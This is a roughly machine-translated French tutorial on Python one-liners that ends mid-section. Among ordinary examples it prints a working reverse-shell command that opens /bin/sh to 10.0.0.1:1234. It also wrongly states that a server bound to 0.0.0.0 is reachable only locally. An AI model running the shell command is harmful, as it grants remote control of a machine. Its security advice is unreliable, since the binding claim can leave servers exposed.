Python >> Tutoriel Python >  >> Python

Python une ligne X

Ceci est un document en cours d'exécution dans lequel je répondrai à toutes les questions concernant la seule ligne de code Python. Si vous voulez devenir un magicien d'une seule ligne , consultez mon livre "Python One-Liners" ! 🙂

Ce document contient de nombreux shells de code interactifs et des vidéos pour vous aider à comprendre. Cependant, c'est assez lent à cause de tous les scripts qu'il contient. Si vous voulez avoir une version plus rapide sans vidéo ni shell de code interactif, consultez la version simplifiée suivante de cet article :

[Blog Tutoriel] 56 Python One-Liners pour impressionner vos amis

Alors, êtes-vous prêt à en savoir plus sur Python One-Liners ? Commençons !

Python une ligne si sinon

Vous pouvez utiliser une simple instruction if dans une seule ligne de code. C'est ce qu'on appelle l'opérateur ternaire. L'opérateur ternaire le plus basique x if c else y renvoie l'expression x si l'expression booléenne c évalue à True . Sinon, si l'expression c évalue à False , l'opérateur ternaire renvoie l'expression alternative y .

Voici un exemple minimal :

var = 21 if 3<2 else 42
# var == 42

Ternaire (du latin ternarius ) est un adjectif signifiant "composé de trois éléments" . (source) Ainsi, littéralement, l'opérateur ternaire en Python est composé de trois opérandes.

Syntaxe :Les trois opérandes sont écrits sous la forme x if c else y qui se lit comme "retour x si c sinon renvoie y “. Écrivons cela plus intuitivement comme :

<OnTrue> if <Condition> else <OnFalse>
Opérande Description
L'expression de retour de l'opérateur si la condition est évaluée à True
<État> La condition qui détermine s'il faut retourner la branche ou .
L'expression de retour de l'opérateur si la condition est évaluée à False

Tutoriel associé  :L'opérateur ternaire en Python - Tout ce que vous devez savoir

Examinons un autre exemple minimal dans notre shell de code interactif :

Exercice :Exécutez le code et entrez votre âge. Quelle est la sortie ? Exécutez à nouveau le code et essayez de modifier la sortie !

Pour booster votre puissance d'une ligne, vous pouvez écouter mon explication vidéo détaillée :

Cependant, que se passe-t-il si vous souhaitez ajouter une branche « elif » à votre opérateur ternaire ? Est-ce possible en une seule ligne ?

Python One Line Elif

À présent, vous avez appris à écrire l'instruction if-else dans une seule ligne de code à l'aide de l'opérateur ternaire. Mais pouvez-vous faire la même chose avec une instruction elif si vous avez plusieurs conditions ?

Bien sûr vous pouvez! (Si vous ne savez pas si vous pouvez faire XYZ dans une seule ligne de Python, supposez simplement que vous le pouvez. Consultez mon nouveau livre "Python One-Liners" pour maîtriser la seule ligne de code !)

Supposons que vous souhaitiez écrire la condition if-then-else suivante dans une seule ligne de code :

>>> x = 42
>>> if x > 42:
>>>     print("no")
>>> elif x == 42:
>>>     print("yes")
>>> else:
>>>     print("maybe")
yes

La branche elif gagne :vous imprimez la sortie "yes" à la coquille. Mais comment le faire en une seule ligne de code ? Utilisez simplement l'opérateur ternaire avec une instruction elif qui ne fonctionnera pas (cela générera une erreur de syntaxe).

La réponse est simple :imbriquer deux opérateurs ternaires comme ceci :

>>> print("no") if x > 42 else print("yes") if x == 42 else print("maybe")
yes

Si la valeur x est supérieure à 42, nous imprimons "non" au shell. Sinon, nous exécutons le reste du code (qui est un opérateur ternaire en soi). Si la valeur x est égale à 42, on imprime "oui", sinon "peut-être".

Ainsi, en imbriquant plusieurs opérateurs ternaires, nous pouvons considérablement augmenter la puissance de notre Python one-liner !

Article connexe :Python Ternaire Elif

Vous savez maintenant comment ajouter d'autres conditions à une instruction conditionnelle sur une seule ligne. Une question intéressante est de savoir si vous pouvez également ajouter moins de conditions ?

Python une ligne si sans autre

Fabriquer de magnifiques one-liners en Python est autant un art qu'une science. Dans ce didacticiel, vous apprendrez à compresser une instruction if sans branche else en une seule ligne de code Python.

Problème :Quel est l'équivalent sur une ligne de la simple instruction if sans branche else ?

Voici un exemple :

condition = True

if condition:
    print('hi')

# hi

Vous voudrez peut-être (i) imprimer quelque chose, (ii) attribuer une valeur à une variable, ou (iii) ajouter un élément à une liste si la condition est remplie.

Ensuite, je vais vous montrer quatre méthodes pour atteindre cet objectif. Les quatre méthodes sont généralement applicables et vous pouvez facilement les personnaliser en fonction de votre application spécifique.

Passons rapidement en revue les quatre méthodes de notre shell de code interactif :

Exercice :Exécutez le code pour les deux True et False les conditions. Toutes les méthodes sont-elles sémantiquement équivalentes ?

En savoir plus sur ces méthodes dans mon article de blog détaillé.

Fonction Python sur une ligne

La manière la plus Pythonique de définir une fonction sur une seule ligne consiste à (1) créer une fonction lambda anonyme et (2) affecter l'objet fonction à un nom de variable. Vous pouvez ensuite appeler la fonction par son nom comme n'importe quelle autre fonction définie régulièrement. Par exemple, l'instruction f = lambda x: x+1 crée une fonction f qui incrémente l'argument x par un et renvoie le résultat :f(2) renvoie 3 .

Problème :Comment définir une fonction dans une seule ligne de code Python ? Explorons cette question essentielle !

Exemple :Supposons que vous souhaitiez écrire la fonction suivante en une seule ligne de code :

def f(x):
    return str(x * 3) + '!'

print(f(1))
# 3!

print(f('python'))
# pythonpythonpython!

Voyons d'abord comment procéder :

Exercice :Modifiez les fonctions à une ligne pour renvoyer la version majuscule de la chaîne générée à l'aide du string.upper() fonction. Exécutez ensuite le code pour voir si votre sortie est correcte !

Article connexe  :3 façons Pythoniques de définir une fonction en une seule ligne [pour les hackers]

Boucle pour une ligne Python

Python est puissant - vous pouvez condenser de nombreux algorithmes en une seule ligne de code Python. Alors la question naturelle se pose :pouvez-vous écrire une boucle for dans une seule ligne de code ? Cet article explore en détail cette question essentielle à la mission.

Comment écrire une boucle For dans une seule ligne de code Python ?

Il existe deux manières d'écrire une boucle for d'une seule ligne :

  • Si le corps de la boucle se compose d'une instruction, écrivez simplement cette instruction dans la même ligne :for i in range(10): print(i) . Cela imprime les 10 premiers chiffres sur le shell (de 0 à 9).
  • Si le but de la boucle est de créer une liste, utilisez plutôt la compréhension de liste :squares = [i**2 for i in range(10)] . Le code met au carré les dix premiers nombres et les stocke dans la liste squares .

Article connexe :Python une ligne pour la boucle

Python une ligne pour la boucle si

Vous pouvez également modifier l'instruction de compréhension de la liste en restreignant le contexte avec une autre instruction if :

Problème :Disons que nous voulons créer une liste de nombres au carré, mais vous ne considérez que les nombres pairs et ignorez les nombres impairs.

Exemple :La méthode multi-lignes serait la suivante.

squares = []

for i in range(10):
    if i%2==0:
        squares.append(i**2)
    
print(squares)
# [0, 4, 16, 36, 64]

Vous créez une liste vide squares et ajouter successivement un autre nombre carré commençant par 0**2 et se terminant par 8**2—mais en ne considérant que les nombres pairs 0, 2, 4, 6, 8. Ainsi, le résultat est la liste [0, 4, 16, 36, 64] .

Encore une fois, vous pouvez utiliser la compréhension de liste [i**2 for i in range(10) if i%2==0] avec une clause if restrictive (en gras) dans la partie contexte pour compresser cela en une seule ligne de code Python :

print([i**2 for i in range(10) if i%2==0])
# [0, 4, 16, 36, 64]

Cette ligne accomplit la même sortie avec beaucoup moins de bits.

Article connexe :Python une ligne pour boucle avec If

Python une ligne pour la boucle Lambda

Problème :Étant donné une collection. Vous souhaitez créer une nouvelle liste basée sur toutes les valeurs de cette collection. Le code doit s'exécuter sur une seule ligne de code. Comment accomplissez-vous cela? Avez-vous besoin d'une fonction lambda ?

Exemple :Soit un tableau a = [1, 2, 3, 4] . Vous devez créer un deuxième tableau b avec toutes les valeurs de a —tout en ajoutant +1 à chaque valeur. Voici votre multiligne :

a = [1, 2, 3, 4]
b = []
for x in a:
    b.append(x+1)
print(b)
# [2, 3, 4, 5]

Comment y parvenir en une seule ligne de code ?

Répondre :Non, vous n'avez pas besoin d'une fonction lambda. Ce que vous recherchez est une fonctionnalité appelée compréhension de liste. Voici l'expression à une ligne qui accomplit cela sans la fonction lambda :

b = [x+1 for x in a]
print(b)
# [2, 3, 4, 5]

Plongeons-nous dans quelques informations générales au cas où vous vous demanderiez comment fonctionnent les compréhensions de liste. Sur la base de votre question, je soupçonne également que vous ne comprenez pas complètement les fonctions lambda non plus, donc j'ajouterai également une autre section sur les fonctions lambda. Enfin, vous découvrirez également une troisième méthode alternative pour résoudre ce problème exact en utilisant la fonction lambda en combinaison avec la fonction intégrée map() de Python !

Alors, restez avec moi, vous deviendrez un meilleur codeur dans le processus ! 🙂

Article connexe :Python une ligne pour la boucle Lambda

Boucle While Python à une ligne

Il existe trois manières d'écrire une boucle while d'une seule ligne :

  • Méthode 1 :Si le corps de la boucle se compose d'une instruction, écrivez cette instruction dans la même ligne :while True: print('hi') . Cela imprime la chaîne 'hi' au shell tant que vous n'interférez pas ou que votre système d'exploitation met fin à l'exécution de force.
  • Méthode 2 : Si le corps de la boucle se compose de plusieurs instructions, utilisez le point-virgule pour les séparer :while True: print('hi'), print('bye') . Cela exécute les instructions les unes après les autres dans la boucle while.
  • Méthode 3  :Si le corps de la boucle est constitué d'instructions composées imbriquées, remplacez les structures composées internes par l'opérateur ternaire :while True: print('hi') if condition else print('bye' ).

Exercice :Exécutez le code. Qu'observez-vous ? Essayez de réparer la boucle infinie !

Vous pouvez en savoir plus sur ces méthodes dans notre article de blog détaillé.

Serveur Web HTTP Python One Line

Vous souhaitez créer votre propre serveur Web en une seule ligne de code Python ? Pas de problème, utilisez simplement cette commande dans votre shell :

$ python -m http.server 8000

Le terminal vous dira :

Serving HTTP on 0.0.0.0 port 8000

Pour arrêter votre serveur Web, tuez le programme Python avec CTRL+c .

Cela fonctionne si vous avez Python 3 installé sur votre système. Pour vérifier votre version, utilisez la commande python – version dans ta coquille.

Vous pouvez exécuter cette commande dans votre Windows Powershell, Win Command Line, MacOS Terminal ou Linux Bash Script.

Vous pouvez voir dans la capture d'écran que le serveur s'exécute sur votre hôte local en écoutant sur le port 8000 (le port HTTP standard pour répondre aux requêtes Web).

Remarque  :L'adresse IP n'est PAS 0.0.0.0—il s'agit d'une erreur souvent confondue par de nombreux lecteurs. Au lieu de cela, votre serveur Web écoute votre adresse IP « locale » 127.0.0.1 sur le port 8000. Ainsi, seules les requêtes Web émises sur votre ordinateur arriveront sur ce port. Le serveur Web n'est PAS visible du monde extérieur.

Python 2 :Pour exécuter le même serveur Web simple sur Python 2, vous devez utiliser une autre commande en utilisant SimpleHTTPServer au lieu de http :

$ python -m SimpleHTTPServer 8000
Serving HTTP on 0.0.0.0 port 8000 ...

Si vous souhaitez démarrer votre serveur Web à partir de votre script Python, pas de problème :

import http.server
import socketserver

PORT = 8000

Handler = http.server.SimpleHTTPRequestHandler

with socketserver.TCPServer(("", PORT), Handler) as httpd:
    print("serving at port", PORT)
    httpd.serve_forever()

Ce code provient de la documentation officielle de Python. N'hésitez pas à en lire plus si vous souhaitez configurer le serveur (la plupart du code est relativement explicite).

Source :Serveur Web Python One-Liner HTTP

Python One Line Write String to File

Problème :Étant donné une chaîne et un nom de fichier. Comment écrire la chaîne dans le fichier avec le nom de fichier en utilisant une seule ligne de code Python ?

Exemple :Vous avez le nom de fichier 'hello.txt' et vous voulez écrire la chaîne 'hello world!' dans le fichier.

hi = 'hello world!'
file = 'hello.txt'

# Write hi in file

'''
# File: 'hello.txt':
hello world!
'''

Comment y parvenir ? Voici quatre façons de le faire en une seule ligne de code !

Voici un aperçu rapide dans notre shell Python interactif :

Exercice :Exécutez le code et vérifiez le fichier 'hello.txt' . Combien de 'hello worlds!' y en a-t-il dans le dossier ? Modifiez le code afin qu'un seul 'hello world!' est dans le fichier !

Vous pouvez en savoir plus sur ces méthodes dans mon article de blog détaillé !

Quiné à une ligne en Python

La plupart des informaticiens, programmeurs et hackers ne connaissent même pas la signification du mot "Quine" dans le contexte de la programmation. Donc, tout d'abord :

En gros, un quine est un programme auto-reproducteur :si vous l'exécutez, il se génère.

Voici une excellente définition :

 :quin :/kwi:n/ /n./ [du nom du logicien Willard van Orman Quine, via Douglas Hofstadter] Un programme qui génère une copie de son propre texte source comme sortie complète. Concevoir la quine la plus courte possible dans un langage de programmation donné est un amusement hackish courant. (source)

La quine la plus courte possible est le programme vide suivant :

 

Le programme s'auto-reproduit car la sortie du programme est le programme lui-même. Allez-y et exécutez-le dans votre propre shell ! 😉

Voici une courte ligne Quine, que j'ai trouvée sur cette ressource :

s='s=%r;print(s%%s,sep="")';print(s%s,sep="")
  • Vous voudrez peut-être améliorer vos compétences en formatage de chaînes pour vraiment comprendre cette phrase.
  • L'argument séparateur de la fonction d'impression évite d'imprimer un caractère de nouvelle ligne à la fin.
  • Le %r le spécificateur de format fournit automatiquement des guillemets simples.

Pour en savoir plus sur Quines, consultez mon article de blog détaillé :

Article connexe :Quines à une ligne Python

Tri rapide sur une ligne Python

Dans ce didacticiel en une seule ligne, vous découvrirez l'algorithme de tri populaire Quicksort. Étonnamment, une seule ligne de code Python suffit pour écrire l'algorithme Quicksort !

Problème :Soit une liste de valeurs numériques (entier ou flottant). Triez la liste en une seule ligne de code Python à l'aide de l'algorithme populaire Quicksort !

Exemple :Vous avez la liste [4, 2, 1, 42, 3] . Vous souhaitez trier la liste par ordre croissant pour obtenir la nouvelle liste [1, 2, 3, 4, 42] .

Réponse courte  :La solution à une ligne suivante trie la liste de manière récursive à l'aide de l'algorithme Quicksort :

q = lambda l: q([x for x in l[1:] if x <= l[0]]) + [l[0]] + q([x for x in l if x > l[0]]) if l else []

Maintenant, plongeons dans quelques détails !

L'introduction suivante est basée sur mon nouveau livre "Python One-Liners" (Lien Amazon) qui vous enseigne la puissance d'une seule ligne de code (utilisez-la judicieusement) !

Présentation :Quicksort n'est pas seulement une question populaire dans de nombreuses interviews de code - posées par Google, Facebook et Amazon - mais aussi un algorithme de tri pratique qui est rapide, concis et lisible. En raison de sa beauté, vous ne trouverez pas beaucoup d'introductions aux classes d'algorithmes qui ne traitent pas de l'algorithme Quicksort.

Aperçu :Quicksort trie une liste en divisant de manière récursive le gros problème (tri de la liste) en problèmes plus petits (tri de deux listes plus petites) et en combinant les solutions des petits problèmes de manière à résoudre le gros problème. Afin de résoudre chaque problème plus petit, la même stratégie est utilisée de manière récursive :les problèmes plus petits sont divisés en sous-problèmes encore plus petits, résolus séparément et combinés. En raison de cette stratégie, Quicksort appartient à la classe des algorithmes "Divide and Conquer".

Algorithme :L'idée principale de Quicksort est de sélectionner un élément pivot, puis de placer tous les éléments supérieurs ou égaux à l'élément pivot à droite et tous les éléments inférieurs à l'élément pivot à gauche. Maintenant, vous avez divisé le gros problème du tri de la liste en deux sous-problèmes plus petits :trier les partitions droite et gauche de la liste. Ce que vous faites maintenant est de répéter cette procédure de manière récursive jusqu'à ce que vous obteniez une liste avec zéro élément. Cette liste est déjà triée, donc la récursivité se termine.

La figure suivante montre l'algorithme Quicksort en action :

Figure :L'algorithme Quicksort sélectionne un élément pivot, divise la liste en (i) une sous-liste non triée avec tous les éléments inférieurs ou égaux au pivot, et (ii) une sous-liste non triée avec tous les éléments supérieurs au pivot. Ensuite, l'algorithme Quicksort est appelé récursivement sur les deux sous-listes non triées pour les trier. Dès que les sous-listes contiennent au maximum un élément, elles sont triées par définition - la récursivité se termine. À chaque niveau de récursivité, les trois sous-listes (gauche, pivot, droite) sont concaténées avant que la liste résultante ne soit transmise au niveau de récursivité supérieur.

Vous créez une fonction q qui implémente l'algorithme Quicksort dans une seule ligne de code Python - et trie ainsi tout argument donné sous la forme d'une liste d'entiers.

## The Data
unsorted = [33, 2, 3, 45, 6, 54, 33]


## The One-Liner
q = lambda l: q([x for x in l[1:] if x <= l[0]]) + [l[0]] + q([x for x in l if x > l[0]]) if l else []

 
## The Result
print(q(unsorted))

Quelle est la sortie de ce code ?

## The Result
print(q(unsorted))
# [2, 3, 6, 33, 33, 45, 54]

Python une ligne avec déclaration

Problème :Pouvez-vous écrire le with déclaration en une seule ligne de code ?

Solution :Oui, vous pouvez écrire le with instruction en une seule ligne de code si le corps de la boucle ne comporte qu'une seule instruction :

with open('code.py') as code: print(code.read())

En général, vous pouvez écrire n'importe quel bloc d'indentation (comme if déclarations, with environnements, ou while loops) dans une seule ligne de code si le corps se compose d'une seule instruction.

Article connexe :Python une ligne avec instruction

Gestion des exceptions Python sur une ligne

Résumé  :Vous pouvez accomplir une gestion d'exception de ligne avec le exec() solution de contournement en passant le try à une ligne /except bloc sous forme de chaîne dans la fonction comme ceci :exec('try:print(x)\nexcept:print("Exception!")') . Cette méthode générale fonctionne pour tous les blocs try et except personnalisés, même multilignes. Cependant, vous devriez éviter ce code à une ligne en raison de sa mauvaise lisibilité.

Étonnamment, il y a eu une discussion sur la gestion des exceptions sur une ligne sur la liste de diffusion Python officielle en 2013. Cependant, depuis lors, il n'y a pas eu de nouvelle fonctionnalité de « gestion des exceptions sur une ligne » dans Python. Nous devons donc nous en tenir aux méthodes présentées dans ce didacticiel. Mais ils seront amusants, promis !

Plongeons dans le problème :

Problème :Comment écrire le bloc try/except dans une seule ligne de code Python ?

Exemple :Considérez le bloc try/except suivant.

try:
    print(x)
except:
    print('Exception!')

Solution :faisons un petit tour d'horizon dans notre shell de code interactif :

Exercice :Exécutez le code. Pourquoi n'y a-t-il que trois lignes de sortie ? Modifiez le code de sorte que chacune des quatre méthodes génère une sortie !

Article connexe : En savoir plus sur les méthodes de gestion des exceptions sur une ligne dans mon tutoriel de blog détaillé.

Python One Line Exécuter

Problème :étant donné un script de code multiligne en Python. Comment exécuter ce script multi-lignes dans une seule ligne de code Python ? Comment le faire depuis la ligne de commande ?

Exemple :Supposons que vous ayez la boucle for suivante avec une instruction if imbriquée dans le corps de la boucle for. Vous voulez exécuter ceci en une seule ligne depuis votre ligne de commande ?

x = 10
for i in range(5):
    if x%2 == 0:
        print(i)
    else:
        print(x)
    x = x - 1

'''
0
9
2
7
4
'''

Le code affiche cinq nombres sur le shell. Il n'imprime que les valeurs impaires de x . Si x prend une valeur paire, il imprime la variable de boucle i .

Vous pouvez écrire n'importe quel code source dans une chaîne et exécuter la chaîne en utilisant le exec() intégré fonction en Python. C'est peu connu, mais les pirates l'utilisent souvent pour regrouper du code malveillant sur une seule ligne apparemment inoffensive.

Si vous avez du code qui s'étend sur plusieurs lignes, vous pouvez le regrouper dans une chaîne d'une seule ligne en utilisant le caractère de saut de ligne '\n' dans votre chaîne :

# Method 1
exec('x = 10\nfor i in range(5):\n    if x%2 ==0: print(i)\n    else: print(x)\n    x = x-1')

Cet extrait de code à une ligne est sémantiquement équivalent à la boucle for imbriquée ci-dessus qui nécessite sept lignes de code ! Le résultat est le même :

'''
0
9
2
7
4
'''

Article connexe :Comment exécuter plusieurs lignes dans une seule ligne Python à partir de la ligne de commande ?

Python One Line Inverse Shell

Voici la définition d'un Reverse Shell :

Une coque inversée est utilisé par les pirates pour accéder à une machine cible. La machine cible ouvre un shell pour communiquer avec la machine attaquante. La machine attaquante reçoit la connexion (écoute sur un port donné) et peut désormais accéder à la machine cible. Pour réaliser un shell inversé, un pirate doit exécuter du code sur une machine cible. Les reverse shells sont également utilisés par les ingénieurs en sécurité pour tester et empêcher les attaques par reverse shell.

J'ai trouvé ce code dans un fil de blog. Vous pouvez l'exécuter à partir de n'importe quel ordinateur sur lequel Python est installé et visible depuis votre emplacement actuel :

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Mais vous ne devez jamais exécuter de code copié-collé à partir d'une source Internet. Que se passe-t-il si le code supprime tous les fichiers de votre ordinateur ?

Vous pouvez lire l'intégralité de l'article sur les attaques shell inversées et les chevaux de Troie en Python ici.

Fichier de lecture d'une ligne Python

Disons que votre fichier est stocké dans le fichier 'code.py' . Maintenant, vous pouvez ouvrir le fichier, lire toutes les lignes, supprimer les caractères d'espacement de début et de fin et stocker le résultat dans une liste Python dans une seule ligne de code. Voici le code :

print([line.strip() for line in open("code.py")])

Python est magnifique ! ?

Article connexe :One-Liner pour lire un fichier en Python

Python One Line Return If

Problème :Comment revenir d'une fonction ou d'une méthode Python en une seule ligne ?

Exemple  :Considérez l'énoncé d'"objectif" suivant :

def f(x):
    return None if x == 0

Cependant, cela conduit à une erreur de syntaxe :

Voici comment écrire l'instruction return avec une expression if dans une seule ligne de code Python :

def f(x):
    if x==0: return None

Je dois noter que PEP 8 convient en fait à l'écriture d'instructions if block sur une seule ligne. Néanmoins, la valeur de retour par défaut d'une fonction est None donc le code ne fait vraiment rien.

Article connexe :Retour Python sur une ligne si

Récursivité Python sur une ligne

Deux façons d'écrire un one-liner récursif : (1) écrivez la fonction avec l'instruction de retour sur une seule ligne, comme dans def f(x): return f(x+1) , ou (2) attribuer une fonction lambda à un nom de variable et utiliser le nom de la variable dans l'expression de retour de la fonction lambda, comme dans f = lambda x: f(x) . Pour définir un cas de base de récursivité, vous pouvez utiliser l'opérateur ternaire x if c else y pour renvoyer x si état c est remplie, sinon y .

Plongeons-nous dans le problème et plusieurs exemples détaillés !

Problème :Comment écrire une fonction récursive en une seule ligne de code ?

Vous pouvez trouver cela difficile car vous devez définir le nom de la fonction, le cas de base et l'appel de fonction récursif, le tout sur une seule ligne de code Python !

Article connexe :Pour rafraîchir vos compétences générales en récursivité, consultez mon article de blog détaillé (y compris la vidéo).

Voici un aperçu des différents algorithmes, nous avons one-linerized récursivement! 😉

Exercice :Exécutez le code et testez les résultats. Sont-ils corrects ? Modifiez maintenant les entrées des cas de base de récursivité et exécutez à nouveau le code ! Sont-ils corrects ?

Plongeons-nous dans chacune de ces méthodes dans cet article de blog !

Regex Python à une ligne

Résumé :Pour correspondre à un pattern dans un text donné en utilisant une seule ligne de code Python, utilisez la ligne import re; print(re.findall(pattern, text)) qui importe la bibliothèque d'expressions régulières re et imprime le résultat du findall() fonction au shell.

Le re.findall(pattern, string, flags=0) La méthode renvoie une liste de correspondances de chaînes. En savoir plus dans notre tutoriel de blog.

# Method 1: findall()
import re; print(re.findall('F.*r', 'Learn Python with Finxter'))
# ['Finxter']

Il n'y a pas de meilleur moyen d'importer le re bibliothèque et en appelant le re.findall() fonction dans une seule ligne de code - vous devez utiliser le point-virgule A;B pour séparer les instructions A et B .

Le findall() La fonction trouve toutes les occurrences du modèle dans la chaîne.

Article connexe  : Correspondance d'expression régulière Python sur une ligne

Python One Line Replace

Problème :Vous utilisez Python dans un terminal et vous souhaitez remplacer une chaîne 'example' dans un fichier texte file.txt :

xxxxx example xxxxx

Votre objectif est d'accomplir le texte suivant :

xxxxx replaced_example xxxxx

En particulier, vous souhaitez ouvrir le fichier, remplacer le texte et réécrire le résultat dans le fichier, le tout sur une seule ligne de code Python !

Une ligne Python peut-elle accomplir cela ?

Solution :Remplace toutes les occurrences de "example" avec "replaced_example" et imprimez le résultat sur l'entrée standard :

python -c "print(open('file.txt').read().replace('example','replaced_example'))"

La méthode replace remplace toutes les occurrences du premier argument par le second argument. Il renvoie la nouvelle chaîne. Vous pouvez maintenant imprimer le résultat sur le stdin ou le réécrire dans un fichier.

Article connexe  :Remplacement d'une ligne Python

Ternaire à une ligne Python

Ternaire (du latin ternarius ) est un adjectif signifiant "composé de trois éléments" . (source) Ainsi, littéralement, l'opérateur ternaire en Python est composé de trois opérandes.

Syntaxe :Les trois opérandes sont écrits dans une combinaison intuitive ... if ... else ... .

<On True> if <Condition> else <On False>
Opérande Description
L'expression de retour de l'opérateur si la condition est évaluée à True
<État> La condition qui détermine s'il faut retourner la branche ou .
L'expression de retour de l'opérateur si la condition est évaluée à False

Voyons un exemple minimum dans notre shell de code interactif :

Exercice :Exécutez le code et entrez votre âge. Quelle est la sortie ? Exécutez à nouveau le code et essayez de modifier la sortie !

Python Une Ligne Deux Boucles For (Double)

Problème :Comment écrire un for imbriqué boucle en tant que Python one-liner? En gros, vous voulez itérer sur deux itérables ou plus qui sont imbriqués les uns dans les autres. Voici un exemple de multiligne avec deux boucles imbriquées :

iter1 = [1, 2, 3, 4]
iter2 = ['a', 'b', 'c']

for x in iter1:
    for y in iter2:
        print(x, y)

'''
1 a
1 b
1 c
2 a
2 b
2 c
3 a
3 b
3 c
4 a
4 b
4 c
'''

Voici un bref aperçu :

Lire l'intégralité de l'article ici.

Python une ligne deux commandes

Problème :Compte tenu de plusieurs instructions Python. Comment les écrire en Python One-Liner ?

Exemple  :Considérons l'exemple suivant de quatre instructions dans un bloc avec une indentation uniforme :

a = 1
b = 2
c = a + b
print(c)

Chacune des quatre instructions est écrite sur une ligne distincte dans un éditeur de code - c'est la procédure normale. Cependant, que se passe-t-il si vous souhaitez les uniriser :

Comment écrire les quatre instructions en une seule ligne de code ?

Solution :La réponse est simple si toutes les instructions ont une indentation uniforme et qu'il n'y a pas de bloc imbriqué. Dans ce cas, vous pouvez utiliser le point-virgule comme séparateur entre les déclarations :

a = 1; b = 2; c = a + b; print(c)

Article connexe :Comment écrire plusieurs instructions sur une seule ligne en Python ?

Python une ligne à plusieurs lignes

Pour diviser une ligne en plusieurs lignes en Python, utilisez une parenthèse ouvrante dans la ligne que vous souhaitez diviser. Maintenant, Python attend la parenthèse fermante dans l'une des lignes suivantes et l'expression est évaluée à travers les limites de ligne. Comme alternative, vous pouvez également utiliser la barre oblique inverse \ juste devant le saut de ligne pour échapper au caractère de saut de ligne.

Après avoir publié un article sur la façon de condenser plusieurs lignes en une seule ligne de code Python, de nombreux Finxters ont demandé : Comment diviser une longue ligne en plusieurs lignes en Python ?

Problème :Étant donné une longue ligne de code Python. Comment le diviser en plusieurs lignes ?

Il existe plusieurs façons de diviser cela en plusieurs lignes. Commençons par un aperçu :

Exercice :Exécutez le code. Quelle est la sortie ? Modifiez la méthode 3 et réécrivez-la en une seule ligne !

Vous pouvez vous plonger dans toutes ces méthodes dans mon article de blog ici.

Décodage d'URL Python sur une ligne

L'encodage d'URL "est une méthode pour encoder des informations dans un URI (Uniform Resource Identifier)" . Il est également appelé Encodage en pourcentage car les symboles de pourcentage sont utilisés pour encoder certains caractères réservés :

! # $ % & ' ( ) * + , / : ; = ? @ [ ]
%21 %23 %24 %25 %26 %27 %28 %29 %2A %2B %2C %2F %3A %3B %3D %3F %40 %5B %5D
$ alias urldecode='python3 -c "import sys, urllib.parse as ul; \
    print(ul.unquote_plus(sys.argv[1]))"'

$ alias urlencode='python3 -c "import sys, urllib.parse as ul; \
    print (ul.quote_plus(sys.argv[1]))"'

Voici un exemple d'utilisation :

$ urldecode 'q+werty%3D%2F%3B'
q werty=/;

$ urlencode 'q werty=/;'
q+werty%3D%2F%3B

Source

Article connexe : Méthodes de décodage d'URL

Objet à une ligne Python

Problème :Comment créer un objet Python en une seule ligne de code ? Et comment associer des propriétés personnalisées à cet objet dans la même ligne ?

Exemple  :Supposons que vous vouliez faire quelque chose comme cet extrait de pseudo-code :

var newObject = new({'property' : 'value' })
newObject.property # returns 'value'

Cependant, vous ne pouvez pas faire la même chose en Python car cela créerait un dictionnaire :

new_object = {'property': 'value'}
new_object.property
# raises an AttributeError

Cela lève un AttributeError car il n'y a pas d'attribut property associé à l'objet dictionnaire. Pour accéder à la clé du dictionnaire dans ce cas, vous devez utiliser la syntaxe new_object['property'] .

Alors, comment créer un objet Python en ligne avec des attributs dans une seule ligne de code Python ?

Voici un bref aperçu de nos trois méthodes :

Exercice :Les trois méthodes produisent-elles le même résultat ? Exécutez le code pour le tester !

Voulez-vous plonger plus en détail dans chacune de ces méthodes ? Lisez cet article :

Article connexe :Comment créer des objets en ligne avec des propriétés ? [Python One-Liner]

Impression sur une ligne Python

Problème :Comment utiliser le print() fonction sans imprimer un caractère de saut de ligne implicite dans le shell Python ?

Exemple :Supposons que vous souhaitiez utiliser le print() fonction dans une boucle for, mais vous ne voulez pas voir plusieurs retours à la ligne entre la sortie imprimée :

for i in range(1,5):
    print(i)

La sortie standard par défaut est la suivante :

1
2
3
4

Mais vous souhaitez obtenir la sortie suivante dans une seule ligne de code Python.

1 2 3 4

Comment y parvenir en Python 3 ?

Solution  :Je vais vous donner la solution rapide dans un shell Python interactif ici :

En lisant la suite, vous comprendrez comment cela fonctionne et deviendrez un meilleur codeur dans le processus.

Article connexe :Comment imprimer sans retour à la ligne en Python

Analyse JSON d'une seule ligne en Python

Problème :Comment analyser un objet JSON en tant que Python One-Liner ?

Exemple  :Disons que vous avez extrait un objet JSON d'un serveur en utilisant le curl commande :

curl -s http://example.com | python -mjson.tool
{
    "continent_code": "EU",
    "country": "Netherlands",
    "country_code": "NL",
    ...
    "timezone": "Europe/Amsterdam"
}

Source

Comment analyser l'objet JSON résultant et extraire, par exemple, la valeur "Netherlands" associé au "country" clé ?

Solution  :Le one-liner suivant accomplit cela :

curl -s http://example.com | python -c 'import sys, json; print(json.load(sys.stdin)["country"])'

Vous pouvez trouver une explication détaillée, étape par étape, de ce one-liner dans l'article suivant.

Article connexe :Comment Parser JSON dans un Python One-Liner ?

Python une ligne jolie impression JSON

Problème :Given a JSON object. How to pretty print it from the shell/terminal/command line using a Python one-liner?

Minimal Example :You have given the following JSON object:

{"Alice": "24", "Bob": "28"}

And you want to get the following print output:

{
    "Alice": "24",
    "Bob": "28"
}

How to accomplish this using a Python one-liner?

The default way to accomplish this in a Python script is to import the json library to solve the issue:

Exercice :Execute the script. What’s the output? Now change the number of indentation spaces to 2!

You can learn everything there is to know about pretty printing JSON objects from your command line in this tutorial:

Related Article :Pretty Print JSON [Python One-Liner]

Python One Line Array Filter

How can you filter an array in Python using an arbitrary condition?

The most Pythonic way of filtering an array is the list comprehension statement [x for x in list if condition] . You can replace condition with any function of x you would like to use as a filtering criterion.

For example, if you want to filter all elements that are smaller than, say, 10, you’d use the list comprehension statement [x for x in list if x<10] to create a new list with all list elements that are smaller than 10.

Here are three examples of filtering a list:

  • Get elements smaller than eight:[x for x in lst if x<8] .
  • Get even elements:[x for x in lst if x%2==0] .
  • Get odd elements:[x for x in lst if x%2] .
lst = [8, 2, 6, 4, 3, 1]

# Filter all elements <8
small = [x for x in lst if x<8]
print(small)


# Filter all even elements
even = [x for x in lst if x%2==0]
print(even)

# Filter all odd elements
odd = [x for x in lst if x%2]
print(odd)

The output is:

# Elements <8
